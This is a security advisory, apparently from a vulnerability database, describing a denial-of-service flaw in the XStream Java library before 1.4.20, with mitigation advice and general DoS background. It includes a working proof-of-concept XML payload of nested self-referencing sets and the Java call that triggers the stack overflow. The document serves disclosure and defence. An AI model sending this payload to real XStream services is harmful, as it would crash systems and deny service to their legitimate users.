Denial of Service (DoS) Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.20)

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Denial of Service (DoS). An attacker can manipulate the processed input stream at unmarshalling time, and replace or inject objects. This can result in a stack overflow calculating a recursive hash set, causing a denial of service.

This effects of this vulnerability can be avoided by catching the StackOverflowError in the calling application.

Create a simple HashSet and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it with XStream.

<div class="Source XML"><pre>
<set>
  <set>
    <set>
      <set>
        <set>
          <set>
            <string>a</string>
          </set>
          <set>
            <string>b</string>
          </set>
        </set>
        <set>
          <string>c</string>
          <set reference='../../../set/set[2]'/>
        </set>
      </set>
    </set>
  </set>
</set>;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• GitHub Commit
• XStream Advisory